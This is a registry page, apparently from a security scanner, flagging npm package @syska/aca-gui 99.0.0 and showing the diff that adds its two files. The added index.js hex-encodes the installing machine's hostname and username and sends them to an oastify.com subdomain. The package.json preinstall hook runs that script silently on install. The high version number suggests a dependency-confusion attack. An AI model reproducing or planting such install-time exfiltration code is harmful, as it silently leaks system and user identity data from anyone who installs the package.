@syska/aca-gui 99.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @syska/aca-gui might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
|
3
|
+
function stringToHex(str)
|
4
|
+
{
|
5
|
+
const buf = Buffer.from(str, 'utf8');
|
6
|
+
return buf.toString('hex');
|
7
|
+
}
|
8
|
+
|
9
|
+
const data = {
|
10
|
+
"hn": stringToHex(os.hostname()),
|
11
|
+
"un": stringToHex(os.userInfo().username)
|
12
|
+
}
|
13
|
+
|
14
|
+
const url = `https://${data["hn"]}.${data["un"]}.rzuw6k993etm4evlbzxzep33jupkd9.oastify.com/ltidi`;
|
15
|
+
fetch(url, {
|
16
|
+
headers: {
|
17
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 LTiDi Allianz Syska",
|
18
|
+
},
|
19
|
+
})
|
20
|
+
.then((response) => response.json())
|
21
|
+
.then(data => {
|
22
|
+
console.log(data);
|
23
|
+
})
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "@syska/aca-gui",
|
3
|
+
"version": "99.0.0",
|
4
|
+
"description": "LTiDiH1",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "LTiDi",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|